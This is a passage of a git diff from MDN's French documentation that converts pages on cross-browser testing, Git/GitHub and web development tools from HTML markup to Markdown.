Firefox, <a href="https://support.google.com/chrome/answer/95464">Incognito Mode</a> sur Chrome) grâce à cela les cookies et les fichiers temporaires ne seront pas sauvegardés.</li> -</ul> +- Configurer si possible un profil navigateur séparé, avec les extensions et ces autres types de choses des navigateurs désactivées, et exécuter vos tests sur ce profile (voir [Utiliser le Profile Manager pour créer et retirer des profiles Firefox](https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles) et [Share Chrome with others or add personas](https://support.google.com/chrome/answer/2364824), par exemple). +- Utiliser le mode navigation privée sur votre navigateur lorsque vous exécutez vos tests, quand il est disponible (par ex. [Private Browsing](https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history) sur Firefox, [Incognito Mode](https://support.google.com/chrome/answer/95464) sur Chrome) grâce à cela les cookies et les fichiers temporaires ne seront pas sauvegardés. -<p>Ces étapes sont conçues pour s'assurer que le navigateur que vous êtes en train de tester est aussi "pure" que possible. C-à-d qu'il n'y a rien d'installé qui pourrait affecter les résultats des tests.</p> +Ces étapes sont conçues pour s'assurer que le navigateur que vous êtes en train de tester est aussi "pure" que possible. C-à-d qu'il n'y a rien d'installé qui pourrait affecter les résultats des tests. -<div class="note"> -<p><strong>Note :</strong> Une autre option faiblement utile, si vous avez le matériel disponible est de tester vos sites sur des téléphones bas de gammes/d'autres appareils — plus vos sites vont s'agrandir et les fonctionnalités avoir plus d'effets, plus vous avez des chances que votre site subisse des ralentissements, il vous faut donc prendre la performance comme une nouvelle considération importante. Essayer de faire marcher vos fonctionnalités sur des appareils bas de gamme, cela rendra l'expérience bien meilleure sur des appareils haut de gamme.</p> -</div> +> **Note :** Une autre option faiblement utile, si vous avez le matériel disponible est de tester vos sites sur des téléphones bas de gammes/d'autres appareils — plus vos sites vont s'agrandir et les fonctionnalités avoir plus d'effets, plus vous avez des chances que votre site subisse des ralentissements, il vous faut donc prendre la performance comme une nouvelle considération importante. Essayer de faire marcher vos fonctionnalités sur des appareils bas de gamme, cela rendra l'expérience bien meilleure sur des appareils haut de gamme. -<div class="note"> -<p><strong>Note :</strong> Certains environnement de développement côté serveur fournissent des mécanismes très utiles pour sortir les modifications sur le site pour seulement un sous-ensemble d'utilisateurs, très utile pour sortir des fonctionnalités testées par un sous-ensemble d'utilisateurs sans avoir besoin de mettre en place un serveur de développement séparé. Un bon exemple est <a href="https://github.com/jsocol/django-waffle">Django Waffle Flags</a>.</p> -</div> +> **Note :** Certains environnement de développement côté serveur fournissent des mécanismes très utiles pour sortir les modifications sur le site pour seulement un sous-ensemble d'utilisateurs, très utile pour sortir des fonctionnalités testées par un sous-ensemble d'utilisateurs sans avoir besoin de mettre en place un serveur de développement séparé. Un bon exemple est [Django Waffle Flags](https://github.com/jsocol/django-waffle). -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Après avoir lu cet article vous devriez maintenant avoir une bonne idée de ce que vous pouvez faire pour identifier votre liste de public cible/navigateur cible, et ensuite efficacement mener à bien vos tests en navigateur croisé en se basant sur cette liste.</p> +Après avoir lu cet article vous devriez maintenant avoir une bonne idée de ce que vous pouvez faire pour identifier votre liste de public cible/navigateur cible, et ensuite efficacement mener à bien vos tests en navigateur croisé en se basant sur cette liste. -<p>La prochaine fois nous tournerons notre attention sur les problèmes concrets de votre code que vos tests peuvent révéler, en commençant avec le HTML et le CSS.</p> +La prochaine fois nous tournerons notre attention sur les problèmes concrets de votre code que vos tests peuvent révéler, en commençant avec le HTML et le CSS. -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> +{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> -</ul> +## Dans ce module -<p> </p> +- [Introduction to cross browser testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction) +- [Strategies for carrying out testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) +- [Handling common HTML and CSS problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS) +- [Handling common JavaScript problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) +- [Handling common accessibility problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) +- [Implementing feature detection](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) +- [Introduction to automated testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) +- [Setting up your own test automation environment](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) diff --git a/files/fr/learn/tools_and_testing/github/index.md b/files/fr/learn/tools_and_testing/github/index.md index 07494d8d8a..263030b674 100644 --- a/files/fr/learn/tools_and_testing/github/index.md +++ b/files/fr/learn/tools_and_testing/github/index.md @@ -12,84 +12,68 @@ tags: translation_of: Learn/Tools_and_testing/GitHub original_slug: Apprendre/Outils_et_tests/GitHub --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Tous les développeurs utiliseront une sorte de <strong>système de contrôle des versions</strong> (<em>version control system</em> ou VCS en anglais), un outil leur permettant de collaborer avec d'autres développeurs sur un projet sans prendre le risque que l'un d'eux écrase le travail d'un autre, et de revenir à une version précédente de la base de code si un problème est découvert plus tard. Le plus populaires de ces outils (au mois parmi les développeurs) est <strong>Git</strong>, ainsi que <strong>GitHub</strong>, un site vous proposant d'héberger vos dépôts de code et plusieurs outils pour travailler avec eux. Ce module vise à vous enseigner ce que vous devez savoir à propos de ces deux outils.</p> +Tous les développeurs utiliseront une sorte de **système de contrôle des versions** (_version control system_ ou VCS en anglais), un outil leur permettant de collaborer avec d'autres développeurs sur un projet sans prendre le risque que l'un d'eux écrase le travail d'un autre, et de revenir à une version précédente de la base de code si un problème est découvert plus tard. Le plus populaires de ces outils (au mois parmi les développeurs) est **Git**, ainsi que **GitHub**, un site vous proposant d'héberger vos dépôts de code et plusieurs outils pour travailler avec eux. Ce module vise à vous enseigner ce que vous devez savoir à propos de ces deux outils. -<h2 id="Vue_densemble">Vue d'ensemble</h2> +## Vue d'ensemble -<p>Les systèmes de contrôles des versions sont nécessaires pour le développement de logiciel :</p> +Les systèmes de contrôles des versions sont nécessaires pour le développement de logiciel : -<ul> - <li>Il est rare que vous travailliez sur un projet complètement seul, et aussitôt que vous commencez à travailler avec d'autres gens, vous commencez à courir le risque de créer des conflits entre votre travail et celui des autres — situation qui arrive quand deux personnes tentent de modifier le même morceau de code au même moment. Vous devez avoir une sorte de mécanisme en place pour gérer ces conflits et vous aider à éviter la perte de travail qui peut en résulter.</li> - <li>Lorsque vous travailler sur un projet seul ou avec d'autres, vous voudrez être en mesure de centraliser le code afin qu'il ne soit pas perdu par des pannes d'ordinateur.</li> - <li>Vous voudrez aussi être en mesure de revenir à de précédentes versions si un problème est découvert plus tard. Vous pourriez avoir commencé à faire ceci dans vos propres projets en créant différentes versions du même fichier, par exemple <code>monCode.js</code>, <code>monCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>monCode_vraiment_final.js</code>, etc., mais c'est une méthode faillible et donc peu fiable.</li> - <li>Différents membres d'une équipe vont communément créer leur propres versions séparées du code (appelées des <strong>branches</strong> en Git), travailler sur une nouvelle fonctionnalité sur cette version et finalement la fusionner de manière contrôlée (avec GitHub, on fait des "requêtes de tirage" ou <em><strong>pull requests</strong></em> en anglais) avec la version principale quand ils pensent en avoir fini.</li> -</ul> +- Il est rare que vous travailliez sur un projet complètement seul, et aussitôt que vous commencez à travailler avec d'autres gens, vous commencez à courir le risque de créer des conflits entre votre travail et celui des autres — situation qui arrive quand deux personnes tentent de modifier le même morceau de code au même moment. Vous devez avoir une sorte de mécanisme en place pour gérer ces conflits et vous aider à éviter la perte de travail qui peut en résulter. +- Lorsque vous travailler sur un projet seul ou avec d'autres, vous voudrez être en mesure de centraliser le code afin qu'il ne soit pas perdu par des pannes d'ordinateur. +- Vous voudrez aussi être en mesure de revenir à de précédentes versions si un problème est découvert plus tard. Vous pourriez avoir commencé à faire ceci dans vos propres projets en créant différentes versions du même fichier, par exemple `monCode.js`, `monCode_v2.js`, `myCode_v3.js`, `myCode_final.js`, `monCode_vraiment_final.js`, etc., mais c'est une méthode faillible et donc peu fiable. +- Différents membres d'une équipe vont communément créer leur propres versions séparées du code (appelées des **branches** en Git), travailler sur une nouvelle fonctionnalité sur cette version et finalement la fusionner de manière contrôlée (avec GitHub, on fait des "requêtes de tirage" ou **_pull requests_** en anglais) avec la version principale quand ils pensent en avoir fini. -<p>Les systèmes de contrôle des versions fournissent des outils pour répondre à ces besoins. <a href="https://git-scm.com/">Git</a> est un exrmple d'un tel système, et <a href="https://github.com/">GitHub</a> est un site web avec une infrastructure qui propose un serveur Git et d'autres outils très pratiques pour travailler avec des dépôts Git individuellement ou en équipe, tel que le rapportage de problèmes liés au code, la relecture et validation de code, la gestion de projet par différentes fonctions comme l'assignation de tâches et les statistiques sur l'utilisation de tâches, et plus encore.</p> +Les systèmes de contrôle des versions fournissent des outils pour répondre à ces besoins. [Git](https://git-scm.com/) est un exrmple d'un tel système, et [GitHub](https://github.com/) est un site web avec une infrastructure qui propose un serveur Git et d'autres outils très pratiques pour travailler avec des dépôts Git individuellement ou en équipe, tel que le rapportage de problèmes liés au code, la relecture et validation de code, la gestion de projet par différentes fonctions comme l'assignation de tâches et les statistiques sur l'utilisation de tâches, et plus encore. -<div class="note"> -<p><strong>Note :</strong> Git est en fait un système de contrôle des versions <em>distribué</em>, signifiant qu'une copie complète du dépôt contenant la base de code est fait sur votre ordinateur (et celui de tous les autres participants). Vous modifiez votre propre copie et puis vous les envoyez vers le serveur, où un administrateur pourra décider de les fusionner avec la copie commune ou non.</p> -</div> +> **Note :** Git est en fait un système de contrôle des versions _distribué_, signifiant qu'une copie complète du dépôt contenant la base de code est fait sur votre ordinateur (et celui de tous les autres participants). Vous modifiez votre propre copie et puis vous les envoyez vers le serveur, où un administrateur pourra décider de les fusionner avec la copie commune ou non. -<div class="callout"> -<p>Vous cherchez à devenir un développeur web front-end ?</p> +> **Remarque :** +> +> Vous cherchez à devenir un développeur web front-end ? +> +> Nous avons mis ensemble un cours incluant toutes les informations nécessaires dont vous avez besoin pour atteindre votre objectif. +> +> [Commencer](/docs/Learn/Front-end_web_developer) -<p>Nous avons mis ensemble un cours incluant toutes les informations nécessaires dont vous avez besoin pour atteindre votre objectif.</p> +## Prérequis -<p><a href="/docs/Learn/Front-end_web_developer">Commencer</a></p> -</div> +Pour utiliser Git et GitHub, vous avez besoin : -<h2 id="Prérequis">Prérequis</h2> +- Un ordinateur de bureau avec Git installé (voir la [page des téléchargements Git](https://git-scm.com/downloads)). +- Un outil pour utiliser Git. Selon la manière dont vous préférez travailler, vous pourriez utiliser une [interface graphique Git](https://git-scm.com/downloads/guis/) (nous recommandons GitHub Desktop, SourceTree et Git Kraken) ou simplement se contenter d'utiliser un terminal en ligne de commande. En fait, il est probablement utile pour vous d'apprendre au moins les bases des commandes git du terminal, même si avez l'intention d'utiliser une interface graphiques. +- Un compte [GitHub](https://github.com/join). Si vous n'en avez pas encore un, inscrivez-vous maintenant en utilisant le lien précédent. -<p>Pour utiliser Git et GitHub, vous avez besoin :</p> +En matière de connaissances prérequises, vous n'avez besoin de rien concernant le développement web, Git/GitHub ou les système de contrôle des versions pour commencer ce module. Toutefois, il vous est recommandé de connaitre les bases de la programmation afin que vous ayiez des connaissances informatiques suffisantes ainsi qu'un code à héberger dans vos dépôts ! -<ul> - <li>Un ordinateur de bureau avec Git installé (voir la <a href="https://git-scm.com/downloads">page des téléchargements Git</a>).</li> - <li>Un outil pour utiliser Git. Selon la manière dont vous préférez travailler, vous pourriez utiliser une <a href="https://git-scm.com/downloads/guis/">interface graphique Git</a> (nous recommandons GitHub Desktop, SourceTree et Git Kraken) ou simplement se contenter d'utiliser un terminal en ligne de commande. En fait, il est probablement utile pour vous d'apprendre au moins les bases des commandes git du terminal, même si avez l'intention d'utiliser une interface graphiques.</li> - <li>Un compte <a href="https://github.com/join">GitHub</a>. Si vous n'en avez pas encore un, inscrivez-vous maintenant en utilisant le lien précédent.</li> -</ul> +Il est aussi préférable que vous ayiez quelques connaissances fondamentales sur le terminal, par exemple du déplacement entre dossiers, de la création de fichiers et de la modification du `PATH` du système. -<p>En matière de connaissances prérequises, vous n'avez besoin de rien concernant le développement web, Git/GitHub ou les système de contrôle des versions pour commencer ce module. Toutefois, il vous est recommandé de connaitre les bases de la programmation afin que vous ayiez des connaissances informatiques suffisantes ainsi qu'un code à héberger dans vos dépôts !</p> +> **Note :** GitHub n'est pas le seul site et un ensemble d'outils que vous pouvez utiliser avec Git. Il existe d'autres alternatives telles que [GitLab](https://about.gitlab.com/) que vous pourriez essayer. Vous pouvez même tenter de configurer votre propre serveur Git et l'utiliser à la place de GitHub. Nous nous en sommes tenus à GitHub dans ce cours pour vous montrer une seule manière de faire. -<p>Il est aussi préférable que vous ayiez quelques connaissances fondamentales sur le terminal, par exemple du déplacement entre dossiers, de la création de fichiers et de la modification du <code>PATH</code> du système.</p> +## Guides -<div class="note"> -<p><strong>Note :</strong> GitHub n'est pas le seul site et un ensemble d'outils que vous pouvez utiliser avec Git. Il existe d'autres alternatives telles que <a href="https://about.gitlab.com/">GitLab</a> que vous pourriez essayer. Vous pouvez même tenter de configurer votre propre serveur Git et l'utiliser à la place de GitHub. Nous nous en sommes tenus à GitHub dans ce cours pour vous montrer une seule manière de faire.</p> -</div> +Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet. -<h2 id="Guides">Guides</h2> +- [Hello World (de GitHub)](https://guides.github.com/activities/hello-world/) + - : C'est un bon point pour commencer — ce guide pratique vous fera entrer dans l'utilisation de GitHub en vous apprenant les fondements de Git tels que la création de dépôts et de branches, la créations de _commits_ ainsi qu'à l'ouverture et à la fusion de _pull requests_. +- [Git Handbook (de GitHub)](https://guides.github.com/introduction/git-handbook/) + - : Ce manuel sur Git va plus en profondeur en expliquant ce qu'un système de contrôle des versions est, ce qu'on dépôt est, comment le modèle minimal de GitHub fonctionne, les commandes Git avec divers exemples et plus encore. +- [Forking Projects (de GitHub)](https://guides.github.com/activities/forking/) + - : Forking projects est nécessaire quand vous souhaitez contribuer au code de quelqu'un d'autre. Ce guide vous explique comment. +- [About Pull Requests (de GitHub)](https://help.github.com/en/articles/about-pull-requests) + - : Un guide utile pour apprendre à gérer les _pull requests_, la manière dont les changements de code suggérés sont envoyés aux dépôts locaux des autres contributeurs pour être pris en considération. +- [Mastering issues (de GitHub)](https://guides.github.com/features/issues/) + - : Les _issues_ (problèmes) sont comme un forum pour votre projet GitHub, où chacun peut venir poser des questions et rapporter des problèmes, et vous pouvez gérer les mises à jour (par exemple assigner certaines personnes à la résolution de problèmes, à la clarification de problèmes ou à l'information de la correction de problèmes). Cet article vous donne ce dont vous avez besoin de savoir à propos des _issues_. -<p>Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet.</p> +> **Note :** Il existe **beaucoup d'autres** choses que vous pouvez faire avec Git et GitHub, mais nous pensons que ce qui précède représente le minimum dont vous aurez besoin pour commencer à utiliser Git efficacement. Au fur et à mesure de votre progression avec Git, vous comprendrez de plus en plus qu'il est facile de faire des erreurs quand on commence à utiliser des commandes plus complexes. Ne vous inquiétez pas, même les développeurs web aguerris pensent que Git est parfois déroutant, et résolvent souvent des problèmes en cherchant des solutions sur internet ou en consultat des sites comme [Flight rules for Git](https://github.com/k88hudson/git-flight-rules) et[ Dangit, git!](https://dangitgit.com/) -<dl> - <dt><a href="https://guides.github.com/activities/hello-world/">Hello World (de GitHub)</a></dt> - <dd>C'est un bon point pour commencer — ce guide pratique vous fera entrer dans l'utilisation de GitHub en vous apprenant les fondements de Git tels que la création de dépôts et de branches, la créations de <em>commits</em> ainsi qu'à l'ouverture et à la fusion de <em>pull requests</em>.</dd> - <dt><a href="https://guides.github.com/introduction/git-handbook/">Git Handbook (de GitHub)</a></dt> - <dd>Ce manuel sur Git va plus en profondeur en expliquant ce qu'un système de contrôle des versions est, ce qu'on dépôt est, comment le modèle minimal de GitHub fonctionne, les commandes Git avec divers exemples et plus encore.</dd> - <dt><a href="https://guides.github.com/activities/forking/">Forking Projects (de GitHub)</a></dt> - <dd>Forking projects est nécessaire quand vous souhaitez contribuer au code de quelqu'un d'autre. Ce guide vous explique comment.</dd> - <dt><a href="https://help.github.com/en/articles/about-pull-requests">About Pull Requests (de GitHub)</a></dt> - <dd>Un guide utile pour apprendre à gérer les <em>pull requests</em>, la manière dont les changements de code suggérés sont envoyés aux dépôts locaux des autres contributeurs pour être pris en considération.</dd> - <dt><a href="https://guides.github.com/features/issues/">Mastering issues (de GitHub)</a></dt> - <dd>Les <em>issues</em> (problèmes) sont comme un forum pour votre projet GitHub, où chacun peut venir poser des questions et rapporter des problèmes, et vous pouvez gérer les mises à jour (par exemple assigner certaines personnes à la résolution de problèmes, à la clarification de problèmes ou à l'information de la correction de problèmes). Cet article vous donne ce dont vous avez besoin de savoir à propos des <em>issues</em>.</dd> -</dl> +## Voir aussi -<div class="note"> -<p><strong>Note :</strong> Il existe <strong>beaucoup d'autres</strong> choses que vous pouvez faire avec Git et GitHub, mais nous pensons que ce qui précède représente le minimum dont vous aurez besoin pour commencer à utiliser Git efficacement. Au fur et à mesure de votre progression avec Git, vous comprendrez de plus en plus qu'il est facile de faire des erreurs quand on commence à utiliser des commandes plus complexes. Ne vous inquiétez pas, même les développeurs web aguerris pensent que Git est parfois déroutant, et résolvent souvent des problèmes en cherchant des solutions sur internet ou en consultat des sites comme <a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git</a> et<a href="https://dangitgit.com/"> Dangit, git!</a></p> -</div> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="https://guides.github.com/introduction/flow/">Understanding the GitHub flow</a></li> - <li><a href="https://git-scm.com/docs">Git command list</a></li> - <li><a href="https://guides.github.com/features/mastering-markdown/">Mastering markdown</a> (le format de texte avec lequel vous écrivez vos <em>pull request</em>, commentaires de problèmes et les fichiers <code>.md</code>).</li> - <li><a href="https://guides.github.com/features/pages/">Getting Started with GitHub Pages</a> (comment publier des démonstrations et des sites web sur GitHub).</li> - <li><a href="https://learngitbranching.js.org/">Learn Git branching</a></li> - <li><a href="https://github.com/k88hudson/git-flight-rules">Flight rules for Git</a> (un compendium très utile de manière de réaliser des tâches spécifiques avec Git, incluant la manière de corriger la situation quand vous vous êtes trompé).</li> - <li> - <p><a href="https://dangitgit.com/">Dangit, git!</a> (un autre compendium utile, spécifiquement des manières de corriger la situation quand vous vous êtes trompé).</p> - </li> -</ul> +- [Understanding the GitHub flow](https://guides.github.com/introduction/flow/) +- [Git command list](https://git-scm.com/docs) +- [Mastering markdown](https://guides.github.com/features/mastering-markdown/) (le format de texte avec lequel vous écrivez vos _pull request_, commentaires de problèmes et les fichiers `.md`). +- [Getting Started with GitHub Pages](https://guides.github.com/features/pages/) (comment publier des démonstrations et des sites web sur GitHub). +- [Learn Git branching](https://learngitbranching.js.org/) +- [Flight rules for Git](https://github.com/k88hudson/git-flight-rules) (un compendium très utile de manière de réaliser des tâches spécifiques avec Git, incluant la manière de corriger la situation quand vous vous êtes trompé). +- [Dangit, git!](https://dangitgit.com/) (un autre compendium utile, spécifiquement des manières de corriger la situation quand vous vous êtes trompé). diff --git a/files/fr/learn/tools_and_testing/index.md b/files/fr/learn/tools_and_testing/index.md index 4eaf03b5c7..52eb09f625 100644 --- a/files/fr/learn/tools_and_testing/index.md +++ b/files/fr/learn/tools_and_testing/index.md @@ -15,29 +15,25 @@ tags: translation_of: Learn/Tools_and_testing original_slug: Apprendre/Outils_et_tests --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Une fois que vous commencerez à être à l'aise avec les langages de programmation web (comme le HTML, le CSS, et le JavaScript), et acquerrez plus d'expérience, lirez plus de ressources, et apprendrez plus de choses, vous commencerez à tomber sur toute sorte d'outils, comme par exemple des scripts CSS et JavaScript, des outils de tests et d'automatisation, et bien plus encore. Au fur et à mesure que vos projets web deviendront de plus en plus grands et complexes, vous allez vouloir savoir comment utiliser certains de ces outils et élaborer des tests fiables pour votre code. Cette partie de la zone d'apprentissage cherche à vous donner tout ce dont vous avez besoin afin de commencer sur de bonnes bases et faire des choix informés.</p> +Une fois que vous commencerez à être à l'aise avec les langages de programmation web (comme le HTML, le CSS, et le JavaScript), et acquerrez plus d'expérience, lirez plus de ressources, et apprendrez plus de choses, vous commencerez à tomber sur toute sorte d'outils, comme par exemple des scripts CSS et JavaScript, des outils de tests et d'automatisation, et bien plus encore. Au fur et à mesure que vos projets web deviendront de plus en plus grands et complexes, vous allez vouloir savoir comment utiliser certains de ces outils et élaborer des tests fiables pour votre code. Cette partie de la zone d'apprentissage cherche à vous donner tout ce dont vous avez besoin afin de commencer sur de bonnes bases et faire des choix informés. -<p>L'industrie du web est un endroit excitant où travailler, mais ce n'est pas sans ses complications. Les technologies de base que nous utilisons pour concevoir des sites web sont assez stables maintenant, mais de nouvelles fonctionnalités sont ajoutées continuellement, et de nouveaux outils — qui les rendent faciles d'utilisation, et sont construits sur ces technologies — apparaissent constamment. En plus de cela, il ne faut pas oublier de vérifier que notre code utilise les meilleures pratiques qui permettront à notre projet de fonctionner sur différents navigateurs et appareils, et d'être aussi utilisable par des personnes ayant un handicap.</p> +L'industrie du web est un endroit excitant où travailler, mais ce n'est pas sans ses complications. Les technologies de base que nous utilisons pour concevoir des sites web sont assez stables maintenant, mais de nouvelles fonctionnalités sont ajoutées continuellement, et de nouveaux outils — qui les rendent faciles d'utilisation, et sont construits sur ces technologies — apparaissent constamment. En plus de cela, il ne faut pas oublier de vérifier que notre code utilise les meilleures pratiques qui permettront à notre projet de fonctionner sur différents navigateurs et appareils, et d'être aussi utilisable par des personnes ayant un handicap. -<p>Savoir précisément quels outils prendre peut parfois être une tâche difficile, c'est pourquoi nous avons écrit cette séries d'articles, afin de vous expliquer quels types d'outils existent, ce qu'ils peuvent faire pour vous et comment se servir des plus utilisés dans l'industrie.</p> +Savoir précisément quels outils prendre peut parfois être une tâche difficile, c'est pourquoi nous avons écrit cette séries d'articles, afin de vous expliquer quels types d'outils existent, ce qu'ils peuvent faire pour vous et comment se servir des plus utilisés dans l'industrie. -<div class="note"> -<p><strong>Note :</strong> parce que de nouveaux outils apparaissent tout le temps et que les anciens se démodent, nous avons écrit ceci afin d'être aussi neutre que possible — nous voulons nous concentrer premièrement et essentiellement sur les tâches générales que ces outils vont vous aider à accomplir, plutôt que de parler des outils qui sont spécifiques à une tâche. Nous devons bien sûr vous montrer comment utiliser un outil avant de vous en apprendre les techniques spécifiques, mais gardez à l'esprit que les outils que nous vous montrons ne sont pas forcément les meilleurs, ni les seuls disponibles — dans la plupart des cas il existe d'autre façons de faire, mais nous voulons vous fournir une méthodologie claire et qui fonctionne.</p> -</div> +> **Note :** parce que de nouveaux outils apparaissent tout le temps et que les anciens se démodent, nous avons écrit ceci afin d'être aussi neutre que possible — nous voulons nous concentrer premièrement et essentiellement sur les tâches générales que ces outils vont vous aider à accomplir, plutôt que de parler des outils qui sont spécifiques à une tâche. Nous devons bien sûr vous montrer comment utiliser un outil avant de vous en apprendre les techniques spécifiques, mais gardez à l'esprit que les outils que nous vous montrons ne sont pas forcément les meilleurs, ni les seuls disponibles — dans la plupart des cas il existe d'autre façons de faire, mais nous voulons vous fournir une méthodologie claire et qui fonctionne. -<h2 id="Parcours_d'apprentissage">Parcours d'apprentissage</h2> +## Parcours d'apprentissage -<p>Vous devriez vraiment apprendre les langages de base <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> avant d'essayer d'utiliser les outils présentés ici. Par exemple, vous allez avoir besoin de connaître les fondamentaux de ces langages avant de commencer à déboguer des erreurs dans un code source web complexe, ou utiliser efficacement les librairies JavaScript , ou encore écrire des tests et les utiliser sur vos codes, etc.</p> +Vous devriez vraiment apprendre les langages de base [HTML](/fr/docs/Learn/HTML), [CSS](/fr/docs/Learn/CSS), et [JavaScript](/fr/docs/Learn/JavaScript) avant d'essayer d'utiliser les outils présentés ici. Par exemple, vous allez avoir besoin de connaître les fondamentaux de ces langages avant de commencer à déboguer des erreurs dans un code source web complexe, ou utiliser efficacement les librairies JavaScript , ou encore écrire des tests et les utiliser sur vos codes, etc. -<p>Vous avez d'abord besoin d'une base solide.</p> +Vous avez d'abord besoin d'une base solide. -<h2 id="Modules">Modules</h2> +## Modules -<dl> - <dt>Outils de développement web</dt> - <dd>Dans ce module, nous explorons les différents types d'outils de développement web. Ceci inclut de connaître les tâches les plus courantes que vous serez amenés à résoudre, comment les intégrer au sein d'un workflow, et les meilleurs outils actuellement disponibles afin d'effectuer ces tâches.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">Test à travers différents navigateurs</a></dt> - <dd>Ce module est orienté spécifiquement vers les tests de projets web à travers différents navigateurs. Ici on cherche à identifier quel type d'audience vous ciblez (ex. de quels utilisateurs, navigateurs et appareils avez vous le plus besoin de vous soucier?), comment faire des tests, les principaux problèmes auxquels vous devrez faire face avec différents types de codes et comment en venir à bout, quels outils sont les plus adaptés pour vous aider à cerner et résoudre ces problèmes, et comment utiliser l'automatisation afin d'accélérer les tests.</dd> -</dl> +- Outils de développement web + - : Dans ce module, nous explorons les différents types d'outils de développement web. Ceci inclut de connaître les tâches les plus courantes que vous serez amenés à résoudre, comment les intégrer au sein d'un workflow, et les meilleurs outils actuellement disponibles afin d'effectuer ces tâches. +- [Test à travers différents navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) + - : Ce module est orienté spécifiquement vers les tests de projets web à travers différents navigateurs. Ici on cherche à identifier quel type d'audience vous ciblez (ex. de quels utilisateurs, navigateurs et appareils avez vous le plus besoin de vous soucier?), comment faire des tests, les principaux problèmes auxquels vous devrez faire face avec différents types de codes et comment en venir à bout, quels outils sont les plus adaptés pour vous aider à cerner et résoudre ces problèmes, et comment utiliser l'automatisation afin d'accélérer les tests. diff --git a/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.md b/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.md index ff9e62f0b8..b52f11de84 100644 --- a/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.md +++ b/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.md @@ -12,477 +12,479 @@ tags: translation_of: Learn/Tools_and_testing/Understanding_client-side_tools/Command_line original_slug: Learn/Tools_and_testing/Understanding_client-side_tools/Ligne_de_commande --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</div> - -<p>Au cours de tout process de développement, vous allez très certainement être confronté à la nécessité d'exécuter des commandes dans un terminal (ce que l'on appelle "travailler en ligne de commande"). Cet article vous propose une introduction au terminal et vous dévoile les commandes essentielles dont vous aurez besoin, la façon de les chaîner, et comment ajouter vos propres outils d'interface en ligne de commande (CLI, command line interface).</p> +Au cours de tout process de développement, vous allez très certainement être confronté à la nécessité d'exécuter des commandes dans un terminal (ce que l'on appelle "travailler en ligne de commande"). Cet article vous propose une introduction au terminal et vous dévoile les commandes essentielles dont vous aurez besoin, la façon de les chaîner, et comment ajouter vos propres outils d'interface en ligne de commande (CLI, command line interface). <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Être familiarisé avec les bases des langages</p> - <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Comprendre ce qu'est la ligne de commande, savoir quelles sont les commandes de base que vous devriez connaître, et comment installer de nouveaux outils de ligne de commande.</p> - </td> - </tr> - 